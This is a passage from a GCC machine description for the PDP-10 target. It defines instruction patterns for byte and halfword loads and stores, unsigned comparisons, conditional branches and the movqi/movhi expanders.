\"=r\")\n\t(unspec:SI [(subreg:SI (match_operand:QI 1 \"memory_operand\" \"m\") 0)\n\t\t    (match_operand 2 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_SIGN_EXTEND))]\n  \"MEM_SCALAR_P (operands[1]) && INTVAL (operands[2]) >= 18\"\n  \"hrre %0,%W1\")\n\n;; Load scalar unsigned chars using MOVE.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI\n\t (match_operand:QI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"move %0,%W1\")\n; (define_insn \"\"\n;   [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n; \t(and:SI\n\t ;; This could well be a scalar int variable.\n; \t (match_operand:SI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")\n; \t (const_int 511)))]\n;   \"MEM_SCALAR_P (operands[1])\"\n;   \"move %0,%W1\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(subreg:SI (match_operand:QI 1 \"memory_operand\" \"m\") 0)\n\t\t    (match_operand 2 \"const_int_operand\" \"\")]\n\t\t   UNSPEC_ZERO_EXTEND))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"move %0,%W1\")\n\n;; Store scalar chars using MOVEM.\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"pdp10_maybe_volatile_memory_operand\" \"=m\")\n\t(match_operand:QI 1 \"register_operand\" \"r\"))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%W0\")\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"pdp10_maybe_volatile_memory_operand\" \"=m\")\n\t(sign_extract:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t (const_int 9)\n\t\t\t (const_int 27)))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%0\")\n(define_insn \"\"\n  [(set (zero_extract:SI\n\t (match_operand:SI 0 \"pdp10_maybe_volatile_memory_operand\" \"+m\")\n\t (const_int 9)\n\t (const_int 27))\n\t(and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t(const_int 511)))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"memory_operand\" \"=m\")\n\t(subreg:QI (unspec:SI [(match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t       (match_operand 2 \"const_int_operand\" \"\")]\n\t\t\t      UNSPEC_SIGN_EXTEND)\n\t\t   3))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%W0\")\n\n(define_insn \"\"\n  [(set (match_operand:QI 0 \"memory_operand\" \"=m\")\n\t(subreg:QI (unspec:SI [(match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t       (match_operand 2 \"const_int_operand\" \"\")]\n\t\t\t      UNSPEC_ZERO_EXTEND)\n\t\t   3))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%W0\")\n\n;; Load scalar unsigned shorts using MOVE.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI\n\t (match_operand:HI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"move %0,%W1\")\n(define_insn \"\"\n   [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n\t (subreg:HI\n\t  (zero_extract:SI\n\t   (match_operand:SI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")\n\t   (const_int 18)\n\t   (const_int 18))\n\t  2))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"move %0,%W1\")\n; (define_insn \"\"\n;    [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t\t ;; This could well be a scalar int variable.\n; \t (and:SI (match_operand:SI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")\n; \t\t (const_int RIGHT_HALF)))]\n;   \"MEM_SCALAR_P (operands[1])\"\n;   \"move %0,%W1\")\n\n;; Load scalar signed shorts using HRRE.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI\n\t (match_operand:SI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")\n\t (const_int 18)\n\t (const_int 18)))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"hrre %0,%1\")\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extend:SI\n\t (match_operand:HI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"MEM_SCALAR_P (operands[1])\"\n  \"hrre %0,%W1\")\n\n;; Store scalar shorts using MOVEM.\n(define_insn \"\"\n  [(set (match_operand:HI 0 \"pdp10_maybe_volatile_memory_operand\" \"=m\")\n\t(match_operand:HI 1 \"register_operand\" \"r\"))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%W0\")\n(define_insn \"\"\n  [(set (zero_extract:SI\n\t (match_operand:SI 0 \"pdp10_maybe_volatile_memory_operand\" \"+m\")\n\t (const_int 18)\n\t (const_int 18))\n\t(and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t(const_int RIGHT_HALF)))]\n  \"MEM_SCALAR_P (operands[0])\"\n  \"movem %1,%0\")\n\n(define_insn \"*sgeu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(ge:SI (xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")\n\t\t       (const_int SIGNBIT))\n\t       (match_operand:SI 2 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    HOST_WIDE_INT sign = (HOST_WIDE_INT)1 << 35;\n    operands[2] = gen_int_mode (INTVAL (operands[2]) ^ sign, SImode);\n    if (INTVAL (operands[2]) & ~(HOST_WIDE_INT)0777777)\n      return \"skipl %0,%1\\;%_caml %0,[%2]\\;%_%_trna\\;%_%_%_tdza %0,%0\\;%_%_%_%_movei %0,1\";\n    else\n      return \"skipl %0,%1\\;%_cail %0,%2\\;%_%_trna\\;%_%_%_tdza %0,%0\\;%_%_%_%_movei %0,1\";\n  }\n  [(set_attr \"length\" \"5\")])\n\n(define_insn \"*sgeu_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=&r\")\n\t(ge:SI (xor:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t\t(match_operand:SI 2 \"const_int_operand\" \"\"))\n\t\t       (const_int SIGNBIT))\n\t       (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    HOST_WIDE_INT sign = (HOST_WIDE_INT)1 << 35;\n\n    output_asm_insn (\"movei %0,0\", operands);\n\n    operands[2] = gen_int_mode (-INTVAL (operands[2]), SImode);\n    if (INTVAL (operands[2]) & ~(HOST_WIDE_INT)0777777)\n      output_asm_insn (\"caml %1,[%2]\", operands);\n    else\n      output_asm_insn (\"cail %1,%2\", operands);\n          \n    operands[3] = gen_int_mode ((INTVAL (operands[3]) ^ sign)\n\t\t\t\t- INTVAL (operands[2]), SImode);\n    if (INTVAL (operands[3]) & ~(HOST_WIDE_INT)0777777)\n      output_asm_insn (\"%_caml %1,[%3]\", operands);\n    else\n      output_asm_insn (\"%_cail %1,%3\", operands);\n\n    return \"%_%_movei %0,1\";\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*cbranchgeu\"\n  [(set (pc)\n\t(if_then_else\n\t (ge (xor:SI (match_operand:SI 0 \"register_operand\" \"r\")\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[0];\n    ops[1] = operands[0];\n    ops[2] = GEN_INT (0);\n    ops[3] = operands[1];\n    ops[4] = operands[2];\n    return pdp10_output_range_compare (insn, ops, 0);\n  }\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*cbranchgeu_mem\"\n  [(set (pc)\n\t(if_then_else\n\t (ge (xor:SI (match_operand:SI 0 \"memory_operand\" \"m\")\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))\n   (clobber (match_scratch:SI 3 \"=x\"))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[3];\n    ops[1] = operands[0];\n    ops[2] = GEN_INT (0);\n    ops[3] = operands[1];\n    ops[4] = operands[2];\n    return pdp10_output_range_compare (insn, ops, 0);\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*cbranchgeu_plus\"\n  [(set (pc)\n\t(if_then_else\n\t (ge (xor:SI (plus:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"r\")\n\t\t\t      (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[0];\n    ops[1] = operands[0];\n    ops[2] = operands[1];\n    ops[3] = operands[2];\n    ops[4] = operands[3];\n    return pdp10_output_range_compare (insn, ops, 0);\n  }\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*sltu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(lt:SI (xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")\n\t\t       (const_int SIGNBIT))\n\t       (match_operand:SI 2 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    HOST_WIDE_INT sign = (HOST_WIDE_INT)1 << 35;\n    operands[2] = gen_int_mode (INTVAL (operands[2]) ^ sign, SImode);\n    if (INTVAL (operands[2]) & ~(HOST_WIDE_INT)0777777)\n      return \"skipl %0,%1\\;%_caml %0,[%2]\\;%_%_tdza %0,%0\\;%_%_%_movei %0,1\";\n    else\n      return \"skipl %0,%1\\;%_cail %0,%2\\;%_%_tdza %0,%0\\;%_%_%_movei %0,1\";\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*sltu_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(lt:SI (xor:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t\t(match_operand:SI 2 \"const_int_operand\" \"\"))\n\t\t       (const_int SIGNBIT))\n\t       (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    HOST_WIDE_INT sign = (HOST_WIDE_INT)1 << 35;\n\n    operands[2] = gen_int_mode (-INTVAL (operands[2]), SImode);\n    if (INTVAL (operands[2]) & ~(HOST_WIDE_INT)0777777)\n      output_asm_insn (\"caml %1,[%2]\", operands);\n    else\n      output_asm_insn (\"cail %1,%2\", operands);\n\n    operands[3] = gen_int_mode ((INTVAL (operands[3]) ^ sign)\n\t\t\t\t- INTVAL (operands[2]), SImode);\n    if (INTVAL (operands[3]) & ~(HOST_WIDE_INT)0777777)\n      output_asm_insn (\"%_caml %1,[%3]\", operands);\n    else\n      output_asm_insn (\"%_cail %1,%3\", operands);\n\n    return \"%_%_tdza %0,%0\\;%_%_%_movei %0,1\";\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*cbranchltu\"\n  [(set (pc)\n\t(if_then_else\n\t (lt (xor:SI (match_operand:SI 0 \"register_operand\" \"r\")\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[0];\n    ops[1] = operands[0];\n    ops[2] = GEN_INT (0);\n    ops[3] = operands[1];\n    ops[4] = operands[2];\n    return pdp10_output_range_compare (insn, ops, 1);\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*cbranchltu_mem\"\n  [(set (pc)\n\t(if_then_else\n\t (lt (xor:SI (match_operand:SI 0 \"memory_operand\" \"m\")\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))\n   (clobber (match_scratch:SI 3 \"=x\"))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[3];\n    ops[1] = operands[0];\n    ops[2] = GEN_INT (0);\n    ops[3] = operands[1];\n    ops[4] = operands[2];\n    return pdp10_output_range_compare (insn, ops, 1);\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*cbranchltu_plus\"\n  [(set (pc)\n\t(if_then_else\n\t (lt (xor:SI (plus:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"r\")\n\t\t\t      (match_operand:SI 1 \"const_int_operand\" \"\"))\n\t\t     (const_int SIGNBIT))\n\t     (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))]\n  \"\"\n  {\n    rtx ops[5];\n    ops[0] = operands[0];\n    ops[1] = operands[0];\n    ops[2] = operands[1];\n    ops[3] = operands[2];\n    ops[4] = operands[3];\n    return pdp10_output_range_compare (insn, ops, 1);\n  }\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(lshiftrt:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"i\")))]\n  \"INTVAL (operands[2]) != 4 && INTVAL (operands[2]) != 18\n   && INTVAL (operands[2]) != 20\"\n  {\n    rtx ops[4];\n    ops[0] = operands[0];\n    ops[1] = operands[1];\n    ops[2] = GEN_INT (BITS_PER_WORD - INTVAL (operands[2]));\n    ops[3] = GEN_INT (0);\n    if (get_attr_length (insn) == 1)\n      output_asm_insn (pdp10_output_extzv (insn, ops), ops);\n    else\n      output_asm_insn (pdp10_output_extzv_sequence (ops), ops);\n    return \"\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else\n\t (and (ne (symbol_ref \"TARGET_LARGE\") (const_int 0))\n\t      (match_operand:SI 1 \"pdp10_constaddr_memory_operand\" \"\"))\n\t (const_int 1)\n\t (const_int 2)))])\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"=m\")\n\t(and:SI (match_operand:SI 1 \"memory_operand\" \"0\")\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"hllzs %W0\")\n\n(define_insn \"\"\n  [(set (match_operand:HI 0 \"memory_operand\" \"=m\")\n\t(const_int 0))]\n  \"MEM_ALIGN (operands[0]) == 36\"\n  \"hrrzs %W0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(and:SI (match_dup 0) (const_int RIGHT_HALF)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(and:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"hrrzs %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(and:SI (match_dup 0) (const_int LEFT_HALF)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(and:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"hllzs %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(ashift:SI (match_dup 0) (const_int 18)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(ashift:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t   (const_int 18)))]\n  \"\"\n  \"hrlzs %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(lshiftrt:SI (match_dup 0) (const_int 18)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(lshiftrt:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t     (const_int 18)))]\n  \"\"\n  \"hlrzs %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(ior:SI (match_dup 0) (const_int LEFT_HALF)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(ior:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"hrros %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(ior:SI (match_dup 0) (const_int RIGHT_HALF)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(ior:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"=0\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"hllos %1,%0\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (ashift:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")\n\t\t\t   (const_int 18))\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"hrlo %0,%1\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (lshiftrt:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")\n\t\t\t     (const_int 18))\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"hlro %0,%1\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Data Movement\n\n(define_expand \"movqi\"\n  [(set (match_operand:QI 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:QI 1 \"general_operand\" \"\"))]\n  \"\"\n  \"if (no_new_pseudos)\n     {\n       if (REG_P (operands[0]) && GET_CODE (operands[1]) == CONST_INT)\n         operands[0] = gen_rtx_REG (SImode, REGNO (operands[0]));\n     }\n   else\n     {\n       if (GET_CODE (operands[0]) == SUBREG\n\t   && GET_CODE (SUBREG_REG (operands[0])) == ZERO_EXTRACT)\n\t {\n\t   if (GET_CODE (XEXP (SUBREG_REG (operands[0]), 0)) == MEM\n\t       && SUBREG_BYTE (operands[0]) == 3\n\t       && GET_CODE (XEXP (SUBREG_REG (operands[0]), 1)) == CONST_INT\n\t       && INTVAL (XEXP (SUBREG_REG (operands[0]), 1)) == 9\n\t       && GET_CODE (XEXP (SUBREG_REG (operands[0]), 2)) == CONST_INT\n\t       && INTVAL (XEXP (SUBREG_REG (operands[0]), 2)) == 27\n\t       && MEM_SCALAR_P (XEXP (SUBREG_REG (operands[0]), 0)))\n\t     emit_move_insn (XEXP (SUBREG_REG (operands[0]), 0),\n\t\t\t     convert_to_mode (SImode, operands[1], 1));\n\t   else\n\t     emit_move_insn (SUBREG_REG (operands[0]),\n\t\t\t     convert_to_mode (SImode, operands[1], 1));\n\t   DONE;\n\t }\n       else if (GET_CODE (operands[1]) == SUBREG\n\t\t&& GET_CODE (SUBREG_REG (operands[1])) == ZERO_EXTRACT)\n\t {\n\t   rtx temp = gen_reg_rtx (SImode);\n\t   emit_move_insn (temp, SUBREG_REG (operands[1]));\n\t   operands[1] = gen_rtx_SUBREG (QImode, temp, 3);\n\t }\n       else if (GET_CODE (operands[1]) == CONST_INT)\n   \t {\n   \t   rtx temp = gen_reg_rtx (SImode);\n   \t   emit_insn (gen_movsi (temp, operands[1]));\n   \t   operands[1] = gen_rtx_SUBREG (QImode, temp, 3);\n   \t }\n       if (GET_CODE (operands[0]) == MEM)\n   \t operands[1] = force_reg (QImode, operands[1]);\n     }\")\n\n(define_insn \"*movqi_reg\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n\t(match_operand:QI 1 \"register_operand\" \"r\"))]\n  \"\"\n  \"move %0,%1\")\n\n(define_insn \"*LDBzqi_sequence\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n        (zero_extend:SI (match_operand:QI 1 \"memory_operand\" \"m,>\")))]\n  \"TARGET_EXTENDED\n   && !CONSTANT_ADDRESS_P (XEXP (operands[1], 0))\n   && pdp10_pointer_alignment (XEXP (operands[1], 0)) >= UNITS_PER_WORD\n   && (GET_CODE (XEXP (operands[1], 0)) == REG\n       || (INTVAL (XEXP (XEXP (operands[1], 0), 1)) % UNITS_PER_WORD == 0))\"\n  {\n    rtx ops[4];\n    ops[0] = operands[0];\n    ops[1] = operands[1];\n    ops[2] = GEN_INT (9);\n    ops[3] = GEN_INT (0);\n    output_asm_insn (pdp10_output_extzv_sequence (ops), ops);\n    return \"\";\n  }\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*LDBzqi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n        (zero_extend:SI (match_operand:QI 1 \"memory_operand\" \">,m\")))]\n  \"\"\n  \"*return pdp10_output_load_unsigned_byte (insn, operands);\"\n  [(set_attr \"reorg_type\" \"none,ldb\")])\n\n(define_insn \"*LDBIzqi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI (match_operand:QI 1 \"memory_operand\" \"<\")))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_load_unsigned_byte (insn, operands);\")\n\n(define_insn \"*LDBEqi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n        (sign_extend:SI (match_operand:QI 1 \"memory_operand\" \">,<,m\")))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_load_signed_byte (insn, operands);\"\n  [(set_attr \"reorg_type\" \"none,none,ldb\")])\n\n(define_insn \"*LDBEqi_sequence\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n        (sign_extend:SI (match_operand:QI 1 \"memory_operand\" \">,m\")))]\n  \"!TARGET_XKL2\"\n  {\n    if (/*CONSTANT_ADDRESS_P (XEXP (operands[1], 0)) || */\n\tpdp10_pointer_alignment (XEXP (operands[1], 0)) >= UNITS_PER_WORD)\n      {\n\trtx ops[4];\n\tint offset = pdp10_pointer_offset (XEXP (operands[1], 0));\n\tops[0] = operands[0];\n\tops[1] = operands[1];\n\tops[2] = GEN_INT (9);\n\tops[3] = GEN_INT (0);\n\toutput_asm_insn (pdp10_output_extv_sequence (ops), ops);\n\treturn \"\";\n      }\n    else\n      {\n\tif (which_alternative == 0)\n\t  return \"ildb %0,%1\\;trne %0,400\\;%_orcmi %0,777\";\n\telse\n\t  return \"ldb %0,%1\\;trne %0,400\\;%_orcmi %0,777\";\n      }\n  }\n  [(set_attr \"length\" \"3\")\n   (set_attr \"reorg_type\" \"none,ldb\")])\n\n(define_insn \"*LDBqi\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r,r\")\n        (match_operand:QI 1 \"memory_operand\" \">,m\"))]\n  \"\"\n  \"*return pdp10_output_load_unsigned_byte (insn, operands);\"\n  [(set_attr \"reorg_type\" \"none,ldb\")])\n;   \"@\n;    ildb %0,%1\n;    ldb %0,%1\")\n\n(define_insn \"*LDBIqi\"\n  [(set (match_operand:QI 0 \"register_operand\" \"=r\")\n        (match_operand:QI 1 \"memory_operand\" \"<\"))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_load_unsigned_byte (insn, operands);\")\n\n(define_insn \"*DPBqi\"\n  [(set (match_operand:QI 0 \"memory_operand\" \"=>,m\")\n\t(match_operand:QI 1 \"register_operand\" \"r,r\"))]\n  \"\"\n  \"*return pdp10_output_store_byte (insn, operands);\"\n  [(set_attr \"reorg_type\" \"none,dpb\")])\n\n(define_insn \"*DPBIqi\"\n  [(set (match_operand:QI 0 \"memory_operand\" \"=<\")\n\t(match_operand:QI 1 \"register_operand\" \"r\"))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_store_byte (insn, operands);\")\n\n(define_expand \"movhi\"\n  [(set (match_operand:HI 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:HI 1 \"general_operand\" \"\"))]\n  \"\"\n  \"if (no_new_pseudos)\n     {\n       if (REG_P (operands[0]) && GET_CODE (operands[1]) == CONST_INT)\n         operands[0] = gen_rtx_REG (SImode, REGNO (operands[0]));\n     }\n   else\n     {\n       if (GET_CODE (operands[0]) == SUBREG\n\t   && GET_CODE (SUBREG_REG (operands[0])) == ZERO_EXTRACT)\n\t {\n\t   if (GET_CODE (XEXP (SUBREG_REG (operands[0]), 0)) == MEM\n\t       && SUBREG_BYTE (operands[0]) == 2\n\t       && GET_CODE (XEXP (SUBREG_REG (operands[0]), 1)) == CONST_INT\n\t       && INTVAL (XEXP (SUBREG_REG (operands[0]), 1)) == 18\n\t       && GET_CODE (XEXP (SUBREG_REG (operands[0]), 2)) == CONST_INT\n\t       && INTVAL (XEXP (SUBREG_REG (operands[0]), 2)) == 18\n\t       && MEM_SCALAR_P (XEXP (SUBREG_REG (operands[0]), 0)))\n\t     emit_move_insn (XEXP (SUBREG_REG (operands[0]), 0),\n\t\t\t     convert_to_mode (SImode, operands[1], 1));\n\t   else\n\t     emit_move_insn (SUBREG_REG (operands[0]),\n\t\t\t     convert_to_mode (SImode, operands[1], 1));\n\t   DONE;\n\t }\n       else if (GET_CODE (operands[1]) == SUBREG\n\t\t&& GET_CODE (SUBREG_REG (operands[1])) == ZERO_EXTRACT)\n\t {\n\t   rtx temp = gen_reg_rtx (SImode);\n\t   emit_move_insn (temp, XEXP (operands[1], 0));\n\t   operands[1] = gen_rtx_SUBREG (HImode, temp, 2);\n\t }\n       else if (GET_CODE (operands[1]) == CONST_INT)\n   \t {\n   \t   rtx reg = gen_reg_rtx (SImode);\n   \t   emit_insn (gen_movsi (reg, operands[1]));\n   \t   operands[1] = gen_rtx_SUBREG (HImode, reg, 2);\n   \t }\n       if (GET_CODE (operands[0]) == MEM)\n   \t operands[1] = force_reg (HImode, operands[1]);\n     }\")\n\n(define_insn \"*movhi\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n        (match_operand:HI 1 \"register_operand\" \"r\"))]\n  \"\"\n  \"move %0,%1\")\n\n; (define_insn \"*halfword_move\"\n;   [(set (match_operand:SI 0 \"pdp10_halfword_destination\" \"=\")\n; \t(match_operand:SI 1 \"pdp10_halfword_source\" \"\"))]\n;   \"\"\n;   \"*pdp10_output_halfword_move (operands);\")\n\n(define_insn \"*HLR\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 18))\n\t(subreg:SI (match_operand:HI 1 \"memory_operand\" \"m\") 0))]\n  \"\"\n  \"hlr %0,%W1\")\n\n(define_insn \"*HLL\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 0))\n\t(subreg:SI (match_operand:HI 1 \"memory_operand\" \"m\") 0))]\n  \"\"\n  \"hll %0,%W1\")\n\n(define_insn \"*HLLM\"\n  [(set (mem:SI (match_operand:SI 0 \"address_operand\" \"p\"))\n\t(ior:SI (and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t(const_int LEFT_HALF))\n\t\t(zero_extend:SI (mem:HI (match_dup 0)))))]\n  \"\"\n  {\n    if (GET_CODE (operands[0]) == CONST\n        && TARGET_EXTENDED && !TARGET_SMALLISH)\n      /* ADDRESS: ...  */\n      return \"hllm %1,@[%W0]\";\n    else\n      return \"hllm %1,%W0\";\n  })\n\n(define_insn \"HRR\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r,m\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 18))\n\t(and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"@\n   hrr %0,%1\n   hrrm %1,%0\")\n\n(define_insn \"*HRL\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r,m\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 0))\n\t(and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"@\n   hrl %0,%1\n   hrlm %1,%0\")\n\n; (define_insn \"*HxR\"\n;   [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n; \t\t\t (const_int 18)\n; \t\t\t (const_int 18))\n;         (subreg:SI (match_operand:HI 1 \"memory_operand\" \"m\") 0))]\n;   \"\"\n;   \"*return pdp10_output_halfword_insv (insn, operands, 18);\")\n\n(define_insn \"*HxRM\"\n  [(set (subreg:SI (match_operand:HI 1 \"memory_operand\" \"=m\") 0)\n\t(zero_extract:SI (match_operand:SI 0 \"register_operand\" \"r\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 18)))]\n  \"\"\n  \"*return pdp10_output_halfword_extv (insn, operands, 18);\")\n\n; (define_insn \"*HxL\"\n;   [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n; \t\t\t (const_int 18)\n; \t\t\t (const_int 0))\n;         (subreg:SI (match_operand:HI 1 \"memory_operand\" \"m\") 0))]\n;   \"\"\n;   \"*return pdp10_output_halfword_insv (insn, operands, 0);\")\n\n(define_insn \"*HxLM\"\n  [(set (match_operand:HI 1 \"memory_operand\" \"=m\")\n\t(subreg:HI (lshiftrt:SI (match_operand:SI 0 \"register_operand\" 